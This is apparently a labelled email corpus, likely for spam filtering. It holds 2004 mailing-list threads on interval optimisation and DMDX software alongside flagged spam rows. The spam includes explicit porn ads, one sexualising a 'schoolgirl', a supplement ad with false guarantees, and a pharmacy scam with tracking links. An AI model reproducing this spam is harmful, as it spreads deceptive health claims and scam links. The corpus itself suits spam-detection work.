9/10/2004 -0400, you wrote: >Good morning all, >I was wondering if there was any way to convert a zil output into a more >spss friendly format. I know that the analzye utility works for azk, but >I wanted to know if there was a similar programme for zil. There are a couple in the utilities section of the web page. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's an old proverb that says just about whatever you want it to. ",0,0 """Marek W. Gutowski"" ","""Rosa, Andrea"" ","Fri, 10 Sep 2004 18:40:18 +0200",Re: intervals for integer programs,"When replacing the problem: find reals (x1, x2, ..., xn), which minimize f(x1, x2, ..., xn) with x1, x2, ... - real numbers (*) with the 'equivalent' form: find integers (n1, n2, ..., nn), which minimize f(n1, n2, ..., nn) (the same function f, and 'the same' domain) (**) one must be aware, that solutions to (*) can be located arbitrarily far away from the solutions of (**). I have seen a nice, not very sophisticated example of such a behavior, possible to be solved analitycally, 'by hand', in one of the introductory textbooks on numerical analysis. Knowing this, one may be sure, that not every idea proven to be good for continuous variables, will work equally well with discrete problems ... Integers do not form a dense subset of R^n, that's why. The only way to solve correctly the mixed (integer/real) problem would be then to solve many purely continuous problems, one for every possible (admissible) combination of discrete variables. Hansen's idea seems to make the problem more tractable, but, it has other drawbacks, as already pointed out by Arnold Neumaier. Rosa, Andrea wrote: > Dear list members, > > I have recently become interested in interval methods as a means of > solving non-linear non-convex optimisation problems and I am looking to > employ them in my own fields of work (traffic and transport engineering > and econometrics). > > However, part of the problems I'd like to work on with intervals are > actually integer programs and I do not have, so far, a clear grasp of > how applicable are interval methods in this case. > > Could you point me to papers, books sections or other resources > discussing the applications of interval methods to the solution of > (non-linear) integer programs? > ... -- Marek Gutowski, gutow@ifpan.edu.pl Institute of Physics, ON-3.2, Al. Lotnikow 32/46, (PL) 02-668 Warszawa, POLAND, tel. +48-22-8436601 ext. 3122 >> To talk or not to talk? Yes, talk, plain ASCII please << ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~",0,0 arnold.neumaier@univie.ac.at,reliable_computing@interval.louisiana.edu,"Fri, 10 Sep 2004 18:47:54 +0200",Re: intervals for integer programs,"""Marek W. Gutowski"" wrote: > When replacing the problem: > > find reals (x1, x2, ..., xn), which minimize f(x1, x2, ..., xn) > with x1, x2, ... - real numbers (*) > > with the 'equivalent' form: > > find integers (n1, n2, ..., nn), which minimize f(n1, n2, ..., nn) > (the same function f, and 'the same' domain) (**) > > one must be aware, that solutions to (*) can be located > > arbitrarily far away > > from the solutions of (**). I have seen a nice, not very > sophisticated example of such a behavior, possible to be solved > analitycally, 'by hand', in one of the introductory textbooks > on numerical analysis. > Knowing this, one may be sure, that not every idea proven to be > good for continuous variables, will work equally well with discrete > problems ... Integers do not form a dense subset of R^n, that's why. > > The only way to solve correctly the mixed (integer/real) problem > would be then to solve many purely continuous problems, one for > every possible (admissible) combination of discrete variables. > Hansen's idea seems to make the problem more tractable, but, > it has other drawbacks, as already pointed out by Arnold Neumaier. > > Rosa, Andrea wrote: > > Dear list members, > > > > I have recently become interested in interval methods as a means of > > solving non-linear non-convex optimisation problems and I am looking to > > employ them in my own fields of work (traffic and transport engineering > > and econometrics). > > > > However, part of the problems I'd like to work on with intervals are > > actually integer programs and I do not have, so far, a clear grasp of > > how applicable are interval methods in this case. > > > > Could you point me to papers, books sections or other resources > > discussing the applications of interval methods to the solution of > > (non-linear) integer programs? > > ... > -- > Marek Gutowski, gutow@ifpan.edu.pl > Institute of Physics, ON-3.2, Al. Lotnikow 32/46, > (PL) 02-668 Warszawa, POLAND, tel. +48-22-8436601 ext. 3122 > >> To talk or not to talk? Yes, talk, plain ASCII please << > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~",0,0 """R. Baker Kearfott"" ","arnold.neumaier@univie.ac.at, reliable_computing@interval.louisiana.edu","Sat, 11 Sep 2004 09:53:25 -0500",Re: intervals for integer programs,"Arnold (et al), Nonetheless, the technique DOES allow you to treat the integers as continuous variables without losing optima. Second, some global optimization programs are touted as being able to efficiently ignore large numbers of local optima. Third, it is presently unclear to me what you mean about ""generates a local extremum at each critical point."" What is your objective? Are you using a penalty method? Please understand that I am not saying that the technique is a panacea for all validated mixed integer programming problems; I just would like some additional clarification of your statements. Best regards, Baker At 11:50 PM 9/9/2004 +0200, arnold.neumaier@univie.ac.at wrote: > >""Claudio M Rocco S. \\(rc\\)"" wrote: > >> When the variables xi must be integers, Hansen proposes >> (in ""Global Optimization Using Interval Analysis"", pg 214) >> to solve a constrained problem by adding constraints like >> sin (pi*xi)=0 > >This is a simple way of posing the problem to a package that handles >only continuous problems. But it is quite inefficient since >it generates a local extremum at every feasible integer point, >and thus makes the problem unnecessarily difficult. > >Even linear mixed integer problems, which can generally be solved >quite efficiently using branch and cut with an LP-solver, >will become nonlinear! > > >Arnold Neumaier > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA ---------------------------------------------------------------",0,1 """Thomas A. Eaton"" ",DMDX@psy1.psych.arizona.edu,"Sat, 11 Sep 2004 11:09:26 -0700",[DMDX] [dmdx] typed target id and feedback,"Hi everyone, is there a manner by which I can provide correct or incorrect feedback to a participant once they type the target in? I saw a response to a similar question from D. Hanley a while back but I cannot find this'atozilliontext' key word. I suppose if there was a way to compare the typed word to something then you could branch it to the word 'correct'.? thanks for any help you can provide -Tom Eaton ===== Thomas A. Eaton Department of Psychology U-20 Language & Cognition 406 Babbidge Road University of Connecticut Storrs, CT 06269-1020 http://home.att.net/~taeaton __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 11 Sep 2004 12:52:49 -0700",[DMDX] Re: [dmdx] typed target id and feedback,"At 11:09 AM 9/11/2004 -0700, you wrote: >Hi everyone, is there a manner by which I can provide >correct or incorrect feedback to a participant once >they >type the target in? I saw a response to a similar >question from D. Hanley a while back but I cannot find >this'atozilliontext' It's atoizilliontext, AsciiTOInteger, which is an ancient C acronym. And it's not in the regular documentation because it isn't a keyword, it's a token in an expression so you need to look at the keyword. That or use the search function in the help but then of course you'd have to have known the correct spelling ;) > key word. I suppose if there was >a way to compare the typed word to something then you >could branch it to the word 'correct'.? Yep, that's the idea. Load a counter with it and then branch on the counter's value or use and branch on an expression that compares atoizilliontext with a constant, no counters needed. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's an old proverb that says just about whatever you want it to.",0,0 arnold.neumaier@univie.ac.at,reliable_computing@interval.louisiana.edu,"Sun, 12 Sep 2004 01:15:47 +0200",Re: intervals for integer programs,"""R. Baker Kearfott"" wrote: > Nonetheless, the technique DOES allow you to treat the integers > as continuous variables without losing optima. Yes, this does not contradict what I said; see below. > Second, some global optimization programs are touted as > being able to efficiently ignore large numbers of local optima. Yes. That why the sine approach works. I only claimed that it is inefficient, compared to treating the integers as integer variables, and proceeding as in my first mail in this thread. In addition, one needs of course suitable techniques for integer rounding, as in mixed integer linear programming. > Third, it is presently unclear to me what you mean about > ""generates a local extremum at each critical point."" I did not say that, but ''it generates a local extremum at every feasible integer point'' The precise statement underlying this remark is that if you fix all integer variables at some feasible integer values and locally minimize the objective in the remaining variables, the resulting point will be a local mimimizer of the sine-constrained program. In particular, if all variables are integers then _any_ feasible point satisfies the first order conditions for the sine version. In that case, all work done in an interval Newton method is wasted. > What is your objective? Are you using a penalty method? No. Constrained optimization problems also may have several local minima. One can pass the sine version to any global solver for constrained problems, and my remarks apply no matter what methods the solver uses. In each case, modifying the solver directly will gain efficiency. Essentially, my remark boils down to saying that the sine-trick is just a waste of many transcendental function evaluations (sines and cosines in function and gradient evaluatiosn, arc sines in constraint propagation). It buys nothing but the ability to use black box continuous global solvers, at the expense of introducing inefficiency at various places (overhead in function and gradient evaluation, optimality conditions, and constraint propagation). Apart from that, it should not have a negative effect on the number of boxes in the b&b process, at least if the global solver is well-written. Arnold Neumaier > >> When the variables xi must be integers, Hansen proposes > >> (in ""Global Optimization Using Interval Analysis"", pg 214) > >> to solve a constrained problem by adding constraints like > >> sin (pi*xi)=0 > > > >This is a simple way of posing the problem to a package that handles > >only continuous problems. But it is quite inefficient since > >it generates a local extremum at every feasible integer point, > >and thus makes the problem unnecessarily difficult. > > > >Even linear mixed integer problems, which can generally be solved > >quite efficiently using branch and cut with an LP-solver, > >will become nonlinear!",0,0 Erick Chu ,reliable_computing-outgoing@interval.louisiana.edu,"Sun, 12 Sep 2004 11:45:55 -0400",dishy Innoocent Schoolgirl getting grand it anallyy!," Best cumshotss on best graceful Girls. http://newpornosite.info/fppxporn.htm?iSPhfd.fX,hj R_E_M_O__V_E http://newpornosite.info ",1,1 Martin Berz ,"reliable_computing@interval.louisiana.edu, ""Rosa, Andrea"" ","Sat, 11 Sep 2004 23:56:03 -0400",RE: intervals for integer programs,"Dear all, this discussion seems to be getting a little hypothetical. It appears it may be a good idea if Andrea would supply a representative test problem, and then Baker can apply Globsol to it, while Neumaier can apply whatever other tool he sees fit. Then we compare the results (which better agree), and more importantly, the performance - because in the end, for Andrea that's all that counts. Martin > -----Original Message----- > From: owner-reliable_computing@interval.louisiana.edu > [mailto:owner-reliable_computing@interval.louisiana.edu]On Behalf Of > arnold.neumaier@univie.ac.at > Sent: Saturday, September 11, 2004 7:16 PM > To: reliable_computing@interval.louisiana.edu > Subject: Re: intervals for integer programs > > > ""R. Baker Kearfott"" wrote: > > > Nonetheless, the technique DOES allow you to treat the integers > > as continuous variables without losing optima. > > Yes, this does not contradict what I said; see below. > > > > Second, some global optimization programs are touted as > > being able to efficiently ignore large numbers of local optima. > > Yes. That why the sine approach works. > > I only claimed that it is inefficient, compared to treating > the integers as integer variables, and proceeding as in my first > mail in this thread. In addition, one needs of course suitable > techniques for integer rounding, as in mixed integer linear > programming. > > > > Third, it is presently unclear to me what you mean about > > ""generates a local extremum at each critical point."" > > I did not say that, but > ''it generates a local extremum at every feasible integer point'' > > The precise statement underlying this remark is that if you > fix all integer variables at some feasible integer values > and locally minimize the objective in the remaining variables, > the resulting point will be a local mimimizer of the sine-constrained > program. > > In particular, if all variables are integers then _any_ feasible > point satisfies the first order conditions for the sine version. > In that case, all work done in an interval Newton method is wasted. > > > > What is your objective? Are you using a penalty method? > > No. Constrained optimization problems also may have several > local minima. One can pass the sine version to any global solver > for constrained problems, and my remarks apply no matter what > methods the solver uses. In each case, modifying the solver > directly will gain efficiency. > > Essentially, my remark boils down to saying that the sine-trick > is just a waste of many transcendental function evaluations > (sines and cosines in function and gradient evaluatiosn, > arc sines in constraint propagation). > > It buys nothing but the ability to use black box continuous > global solvers, at the expense of introducing inefficiency > at various places (overhead in function and gradient evaluation, > optimality conditions, and constraint propagation). > > Apart from that, it should not have a negative effect on the > number of boxes in the b&b process, at least if the global > solver is well-written. > > > Arnold Neumaier > > > > >> When the variables xi must be integers, Hansen proposes > > >> (in ""Global Optimization Using Interval Analysis"", pg 214) > > >> to solve a constrained problem by adding constraints like > > >> sin (pi*xi)=0 > > > > > >This is a simple way of posing the problem to a package that handles > > >only continuous problems. But it is quite inefficient since > > >it generates a local extremum at every feasible integer point, > > >and thus makes the problem unnecessarily difficult. > > > > > >Even linear mixed integer problems, which can generally be solved > > >quite efficiently using branch and cut with an LP-solver, > > >will become nonlinear! >",0,0 Kevin G Toledo ,reliable_computing-outgoing@interval.louisiana.edu,"Sun, 12 Sep 2004 13:30:57 +0000",give it to her properly mimuwide,"SPUR-M Formula You can increase sperm you produce five times Blast five times your usual load and have longer more satisfying release. Complete satisfaction fully guaranteed by the industry leader - it is a money-back promise that has never been used by any of our millions of customers! This is the secret formula used by leading adult-film stars for their huge effects! Copy and paste the following URL into your browser: http://faxaq.com/s/ sonafiborochyhajajymupaxepamu ",1,1 """Daniel H. Fylstra"" ","Martin Berz , reliable_computing@interval.louisiana.edu, ""Rosa, Andrea"" ","Sun, 12 Sep 2004 11:03:50 -0700",RE: intervals for integer programs,"Dear Martin, Sure, but let me also say that this general discussion of the use of interval branch & bound methods to solve problems with integer variables is very useful to me, and I suspect to others on the list. It's no secret that there are a lot more people solving LP/MIP problems, and probably MINLP problems (as they're usually called) than people solving global optimization problems with interval branch & bound methods. Having read much of the literature on both sides (OR/MS integer programming methods and interval methods), I'd say that there are still many contributions that each side could make to the other. Dan Fylstra Frontline Systems Inc. > -----Original Message----- > From: owner-reliable_computing@interval.louisiana.edu > [mailto:owner-reliable_computing@interval.louisiana.edu]On Behalf Of > Martin Berz > Sent: Saturday, September 11, 2004 8:56 PM > To: reliable_computing@interval.louisiana.edu; Rosa, Andrea > Subject: RE: intervals for integer programs > > > Dear all, > > this discussion seems to be getting a little hypothetical. It appears it may > be a good idea if Andrea would supply a representative test problem, and then > Baker can apply Globsol to it, while Neumaier can apply whatever other tool he > sees fit. Then we compare the results (which better agree), and more > importantly, the performance - because in the end, for Andrea that's all that > counts. > > Martin > > > -----Original Message----- > > From: owner-reliable_computing@interval.louisiana.edu > > [mailto:owner-reliable_computing@interval.louisiana.edu]On Behalf Of > > arnold.neumaier@univie.ac.at > > Sent: Saturday, September 11, 2004 7:16 PM > > To: reliable_computing@interval.louisiana.edu > > Subject: Re: intervals for integer programs > > > > > > ""R. Baker Kearfott"" wrote: > > > > > Nonetheless, the technique DOES allow you to treat the integers > > > as continuous variables without losing optima. > > > > Yes, this does not contradict what I said; see below. > > > > > > > Second, some global optimization programs are touted as > > > being able to efficiently ignore large numbers of local optima. > > > > Yes. That why the sine approach works. > > > > I only claimed that it is inefficient, compared to treating > > the integers as integer variables, and proceeding as in my first > > mail in this thread. In addition, one needs of course suitable > > techniques for integer rounding, as in mixed integer linear > > programming. > > > > > > > Third, it is presently unclear to me what you mean about > > > ""generates a local extremum at each critical point."" > > > > I did not say that, but > > ''it generates a local extremum at every feasible integer point'' > > > > The precise statement underlying this remark is that if you > > fix all integer variables at some feasible integer values > > and locally minimize the objective in the remaining variables, > > the resulting point will be a local mimimizer of the sine-constrained > > program. > > > > In particular, if all variables are integers then _any_ feasible > > point satisfies the first order conditions for the sine version. > > In that case, all work done in an interval Newton method is wasted. > > > > > > > What is your objective? Are you using a penalty method? > > > > No. Constrained optimization problems also may have several > > local minima. One can pass the sine version to any global solver > > for constrained problems, and my remarks apply no matter what > > methods the solver uses. In each case, modifying the solver > > directly will gain efficiency. > > > > Essentially, my remark boils down to saying that the sine-trick > > is just a waste of many transcendental function evaluations > > (sines and cosines in function and gradient evaluatiosn, > > arc sines in constraint propagation). > > > > It buys nothing but the ability to use black box continuous > > global solvers, at the expense of introducing inefficiency > > at various places (overhead in function and gradient evaluation, > > optimality conditions, and constraint propagation). > > > > Apart from that, it should not have a negative effect on the > > number of boxes in the b&b process, at least if the global > > solver is well-written. > > > > > > Arnold Neumaier > > > > > > > >> When the variables xi must be integers, Hansen proposes > > > >> (in ""Global Optimization Using Interval Analysis"", pg 214) > > > >> to solve a constrained problem by adding constraints like > > > >> sin (pi*xi)=0 > > > > > > > >This is a simple way of posing the problem to a package that handles > > > >only continuous problems. But it is quite inefficient since > > > >it generates a local extremum at every feasible integer point, > > > >and thus makes the problem unnecessarily difficult. > > > > > > > >Even linear mixed integer problems, which can generally be solved > > > >quite efficiently using branch and cut with an LP-solver, > > > >will become nonlinear! > > > > > > > >",0,0 """R. Baker Kearfott"" ","""Daniel H. Fylstra"" , Martin Berz , reliable_computing@interval.louisiana.edu, ""Rosa, Andrea"" ","Sun, 12 Sep 2004 15:27:46 -0500",RE: intervals for integer programs,"Dan, Yes, indeed. I do not yet claim to efficiently solve MINLP's in a validated way, but there are many previously-employed techniques that seem amenable to validation. I, too, must go into ""understand"" mode before I can do a good job in ""software construct mode."" :-) Best regards, Baker At 11:03 AM 9/12/2004 -0700, Daniel H. Fylstra wrote: >Dear Martin, > >Sure, but let me also say that this general discussion of the use of interval >branch & bound methods to solve problems with integer variables is very >useful to me, and I suspect to others on the list. It's no secret that there >are a lot more people solving LP/MIP problems, and probably MINLP problems >(as they're usually called) than people solving global optimization problems >with interval branch & bound methods. Having read much of the literature on >both sides (OR/MS integer programming methods and interval methods), I'd say >that there are still many contributions that each side could make to the other. > >Dan Fylstra >Frontline Systems Inc. > > >> -----Original Message----- >> From: owner-reliable_computing@interval.louisiana.edu >> [mailto:owner-reliable_computing@interval.louisiana.edu]On Behalf Of >> Martin Berz >> Sent: Saturday, September 11, 2004 8:56 PM >> To: reliable_computing@interval.louisiana.edu; Rosa, Andrea >> Subject: RE: intervals for integer programs >> >> >> Dear all, >> >> this discussion seems to be getting a little hypothetical. It appears it may >> be a good idea if Andrea would supply a representative test problem, and then >> Baker can apply Globsol to it, while Neumaier can apply whatever other tool he >> sees fit. Then we compare the results (which better agree), and more >> importantly, the performance - because in the end, for Andrea that's all that >> counts. >> >> Martin >> >> > -----Original Message----- >> > From: owner-reliable_computing@interval.louisiana.edu >> > [mailto:owner-reliable_computing@interval.louisiana.edu]On Behalf Of >> > arnold.neumaier@univie.ac.at >> > Sent: Saturday, September 11, 2004 7:16 PM >> > To: reliable_computing@interval.louisiana.edu >> > Subject: Re: intervals for integer programs >> > >> > >> > ""R. Baker Kearfott"" wrote: >> > >> > > Nonetheless, the technique DOES allow you to treat the integers >> > > as continuous variables without losing optima. >> > >> > Yes, this does not contradict what I said; see below. >> > >> > >> > > Second, some global optimization programs are touted as >> > > being able to efficiently ignore large numbers of local optima. >> > >> > Yes. That why the sine approach works. >> > >> > I only claimed that it is inefficient, compared to treating >> > the integers as integer variables, and proceeding as in my first >> > mail in this thread. In addition, one needs of course suitable >> > techniques for integer rounding, as in mixed integer linear >> > programming. >> > >> > >> > > Third, it is presently unclear to me what you mean about >> > > ""generates a local extremum at each critical point."" >> > >> > I did not say that, but >> > ''it generates a local extremum at every feasible integer point'' >> > >> > The precise statement underlying this remark is that if you >> > fix all integer variables at some feasible integer values >> > and locally minimize the objective in the remaining variables, >> > the resulting point will be a local mimimizer of the sine-constrained >> > program. >> > >> > In particular, if all variables are integers then _any_ feasible >> > point satisfies the first order conditions for the sine version. >> > In that case, all work done in an interval Newton method is wasted. >> > >> > >> > > What is your objective? Are you using a penalty method? >> > >> > No. Constrained optimization problems also may have several >> > local minima. One can pass the sine version to any global solver >> > for constrained problems, and my remarks apply no matter what >> > methods the solver uses. In each case, modifying the solver >> > directly will gain efficiency. >> > >> > Essentially, my remark boils down to saying that the sine-trick >> > is just a waste of many transcendental function evaluations >> > (sines and cosines in function and gradient evaluatiosn, >> > arc sines in constraint propagation). >> > >> > It buys nothing but the ability to use black box continuous >> > global solvers, at the expense of introducing inefficiency >> > at various places (overhead in function and gradient evaluation, >> > optimality conditions, and constraint propagation). >> > >> > Apart from that, it should not have a negative effect on the >> > number of boxes in the b&b process, at least if the global >> > solver is well-written. >> > >> > >> > Arnold Neumaier >> > >> > >> > > >> When the variables xi must be integers, Hansen proposes >> > > >> (in ""Global Optimization Using Interval Analysis"", pg 214) >> > > >> to solve a constrained problem by adding constraints like >> > > >> sin (pi*xi)=0 >> > > > >> > > >This is a simple way of posing the problem to a package that handles >> > > >only continuous problems. But it is quite inefficient since >> > > >it generates a local extremum at every feasible integer point, >> > > >and thus makes the problem unnecessarily difficult. >> > > > >> > > >Even linear mixed integer problems, which can generally be solved >> > > >quite efficiently using branch and cut with an LP-solver, >> > > >will become nonlinear! >> > >> >> >> >> >> >> > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA ---------------------------------------------------------------",0,1 """Rosa, Andrea"" ",reliable_computing@interval.louisiana.edu,"Mon, 13 Sep 2004 11:24:46 +0100",RE: intervals for integer programs,"Dear all, just to answer to the message from Martin Berz : I do not have a test problem as yet. I actually wrote to the list since I am at a preliminary stage (thinking of a project and surveying interesting methods) and aware of part of the literature on interval methods but also looking for further relevant references. I had read the section on integers in Hansen's book but I was wondering whether there were further publications and, also, published work on practical experiences. So I guess the way the discussion has developed, referring to (mixed) integer programming in general, is the kind of response I was hoping to read (and, by the way, many thanks to all those who posted contributions). Andrea Rosa ",0,0 Martin Berz ,"""Rosa, Andrea"" , reliable_computing@interval.louisiana.edu","Mon, 13 Sep 2004 07:53:41 -0400",RE: intervals for integer programs,"Dear Andrea et al., very well. Considering how attractive many of the fundamental properties of validated methods are, there is sometimes a tendency to lose sight of the connection to the practical problem at hand, and get absorbed by the appealing and often challenging algorithmic questions. I have observed it often myself, and found it important to always try to remind me what the specific question to be solved was; at least that's what my funding agencies always seem to be concerned about :-) In any case, please enjoy the discussion, let's hope we all learn something from it, and it will lead to viable tools for the problems you may wish to solve. And once you have more specific ideas what test or real problems you are interested in, at least I personally would be interested in them. Best wishes, Martin -----Original Message----- From: owner-reliable_computing@interval.louisiana.edu [mailto:owner-reliable_computing@interval.louisiana.edu]On Behalf Of Rosa, Andrea Sent: Monday, September 13, 2004 6:25 AM To: reliable_computing@interval.louisiana.edu Subject: RE: intervals for integer programs Dear all, just to answer to the message from Martin Berz : I do not have a test problem as yet. I actually wrote to the list since I am at a preliminary stage (thinking of a project and surveying interesting methods) and aware of part of the literature on interval methods but also looking for further relevant references. I had read the section on integers in Hansen's book but I was wondering whether there were further publications and, also, published work on practical experiences. So I guess the way the discussion has developed, referring to (mixed) integer programming in general, is the kind of response I was hoping to read (and, by the way, many thanks to all those who posted contributions). Andrea Rosa ",0,0 Elbert ,eldy ,"Mon, 13 Sep 2004 13:44:40 +0300",isn't it time,"Morning eldy, You still trying to please ur girl friend? You still hearing complaints about it in the bed? If so then stop by http://www.itismysiforiteach.com/taw/. it roasted, to out baked or so that you can have a level surface to Later Elbert ",1,1 """Thomas A. Eaton"" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Sep 2004 10:53:10 -0700",[DMDX] Re: typed target id and feedback,"Hi, To be frank after attempting to use atoizilliontext and branchif etc, I am still not able to get a program to work. I think it is my failure to understand where and what to insert into as well as any expression using branchif. I would immensely appreciate a brief demo of the code I am trying to use. Again it is a target id experiment where the subject types a word in and the subject receives a ""correct"" or incorrect response. I appreciate anyone's help in this endeavor -thank you tom ""j.c.f."" wrote: At 11:09 AM 9/11/2004 -0700, you wrote: >Hi everyone, is there a manner by which I can provide >correct or incorrect feedback to a participant once >they >type the target in? I saw a response to a similar >question from D. Hanley a while back but I cannot find >this'atozilliontext' It's atoizilliontext, AsciiTOInteger, which is an ancient C acronym. And it's not in the regular documentation because it isn't a keyword, it's a token in an expression so you need to look at the keyword. That or use the search function in the help but then of course you'd have to have known the correct spelling ;) > key word. I suppose if there was >a way to compare the typed word to something then you >could branch it to the word 'correct'.? Yep, that's the idea. Load a counter with it and then branch on the counter's value or use and branch on an expression that compares atoizilliontext with a constant, no counters needed. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's an old proverb that says just about whatever you want it to. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== Thomas A. Eaton Department of Psychology U-20 Language & Cognition 406 Babbidge Road University of Connecticut Storrs, CT 06269-1020 http://home.att.net/~taeaton --------------------------------- Do you Yahoo!? Yahoo! Mail is new and improved - Check it out!",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Mon, 13 Sep 2004 10:06:49 -0600",interval session proposal accepted for FUZZ-IEEE'05,"Dear Friends, This is FYI. FUZZ-IEEE is a major IEEE conference on fuzzy systems that usually has a reasonably large interval presence. ************************************** To: Vladik Kreinovich Cc: nikhil@isical.ac.in From: Raghuram Krishnapuram Date: Mon, 13 Sep 2004 13:16:14 +053 Vladik, We are happy to inform you that we have accepted your proposal for a special session on ""Relation between fuzzy and interval techniques"". The papers will be due on Nov. 1, along with the regular papers. Thanks for helping out with FUZZIEEE 2005. - Raghu and Nik Raghu Krishnapuram Manager, Information Management IBM India Research Lab Block 1, Indian Institute of Technology Hauz Khas, New Delhi 110016 INDIA Phone - Direct: +91 11 5129 2200; Phone - Board: +91 11 2686-1100 (x 2200) Tie Line: 92 45200 Fax: +91 11 2686-1555",0,0 """Alibi I. Weepy"" ",Bait ,"Tue, 14 Sep 2004 04:25:06 -0700",Premier,"Man's Health Anti-Depressants Antibiotics Cholesterol Diabetes Diuretic Pain Relief Sexual Health Sleep Aids Weight Loss and more on Premier Pharsmacy http://dogisovee.com/?UHJENDU1NaQBhFWlZBR1ZbUHRQXBxQVQ== asdffgjd U1NaQBhFWlZBR1ZbUHRQXBxQVQ== ",1,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Tue, 14 Sep 2004 08:06:03 -0600",Second Call: International Conference on Polynomial System Solving,"FYI, Please notice that the deadline has been extended to September 30. Vladik ------------- Begin Forwarded Message ------------- X-pt: isis.lip6.fr From: Jean-Charles.Faugere@lip6.fr (Jean-Charles FAUGERE) +--------------------------------------------------------+ Second Call for Participation International Conference on Polynomial System Solving November 24-25-26, 2004 Université Pierre et Marie Curie Paris, France in honor of Daniel Lazard +--------------------------------------------------------+ Daniel Lazard, Professor of Computer Science at Université Pierre et Marie Curie, will retire at the end of the year 2004. This conference will be held in honor of his many major contributions to computer algebra, polynomial system solving, and applications. The program will consist of invited talks and contributed presentations. Scope ----- Since the meeting is held in honor of Lazard's achievements, we solicit research papers on topics related to Lazard's works and interests, for instance: Algebraic resolution of polynomial systems Gröbner bases, triangular sets, algebraic representation of solutions, specifications of polynomial system solvers, practical and theoretical improvements, efficient implementations, complexity, effective differential algebra, ... Quantifier elimination and real solutions of polynomial systems Algorithms for studying real solutions of polynomial systems in many senses (number, topological invariants, ...), improvements of cylindrical algebraic decomposition (CAD). Effective Galois theory Techniques improving the resolution of polynomial systems using symmetries, computations in the field of effective Galois theory, ... Applications Resolution of polynomial systems arising in applications using symbolic/numeric techniques: robotics, signal theory, cryptography, statistics, ... Publication ----------- Accepted contributed papers (extended abstracts) will be published in the proceedings that will be available at the meeting. After the meeting the extended versions of the contributed papers will be published in a special issue of the Journal of Symbolic Computation after a standard journal refereeing procedure. Invited Speakers ---------------- B. Buchberger(Research Institute for Symbolic Computation, Austria) J. Calmet(Universität Karlsruhe, Germany) J. Davenport(Bath University, UK) H. Hong (North Carolina State University, USA) M.F. Roy(Université de Rennes 1, France) C. Traverso(Università di Pisa, Italy) Program Committee ----------------- A. Valibouze, Chair(Université Pierre et Marie Curie, France) D. Augot(INRIA Rocquencourt, France) C. Brown(United States Naval Academy, USA) X.-S. Gao(Academy of Mathematics and System Sciences, China) H. Hong(North Carolina State University, USA) E. Hubert(INRIA Sophia-Antipolis, France) I. Kotsireas(Wilfrid Laurier University, Canada) B. Mourrain(INRIA Sophia-Antipolis, France) E. Schost(Ecole Polytechnique, France) A. Steel(University of Sydney, Australia) B. Sturmfels(University of California at Berkeley, USA) K. Yokoyama(Fujitsu Laboratories, Japan) Local Organizers ---------------- The conference is organized by the Computer Algebra Team (CALFOR) of LIP6 (Université Pierre et Marie Curie) and the SALSA INRIA project. Sponsors --------- INRIA Rocquencourt, France LIP6, Université Paris et Marie Curie, France Wilfrid Laurier University, Canada RAAG (Real Algebraic and Analytic Geometry) European Network Important Dates and Instructions for authors -------------------------------------------- Each contributor must submit a title and a brief abstract not exceeding 3 pages formatted by using LaTeX (with the templates available at http://www-calfor.lip6.fr/ICPSS). The contribution should be sent to icpss@calfor.lip6.fr. Deadline for submissions: September 30, 2004 Acceptance: October 29, 2004 ------------------ Other Information ----------------- The conference will be held at Université Paris et Marie Curie from November 24 to 26, 2004. More information is available at: http://www-calfor.lip6.fr/ICPSS ------------- End Forwarded Message ------------- ",0,1 Michael Wenger ,DMDX@psy1.psych.arizona.edu,"Tue, 14 Sep 2004 12:29:05 -0400",[DMDX] counter values in stimulus names,"> > All -- is it possible to use a counter value in specifying the name of a > stimulus image to be displayed, e.g., ""stimxxx"", where ""xxx"" > represents a numeric string that is part of the stimulus name (""stim102"" > for example)? Thanks, > > -Michael Wenger > -- > _______________________________________________________________________ > > Michael J. Wenger > Department of Psychology > 620 Moore Building > The Pennsylvania State University > University Park PA 16802 > voice: (814) 863-6023 > e-mail: mjw19@psu.edu > http://www.personal.psu.edu/mjw19 >",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 14 Sep 2004 10:21:24 -0700",[DMDX] Re: counter values in stimulus names,"At 12:29 PM 9/14/2004 -0400, you wrote: > > > > All -- is it possible to use a counter value in specifying the name of a > > stimulus image to be displayed, e.g., ""stimxxx"", where ""xxx"" > > represents a numeric string that is part of the stimulus name (""stim102"" > > for example)? No, that's something no one else (esp. me) has thought of yet. You can append a counter to a display's text but that won't work if the text is a filename as another routine picks up files beforehand. Thinking about it I'm pretty sure I wouldn't ever want to add that capability as it opens Pandora's box. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ RECREATION, n. A particular kind of dejection to relieve a general fatigue. - Ambrose Bierce The Devil's Dictionary",0,0 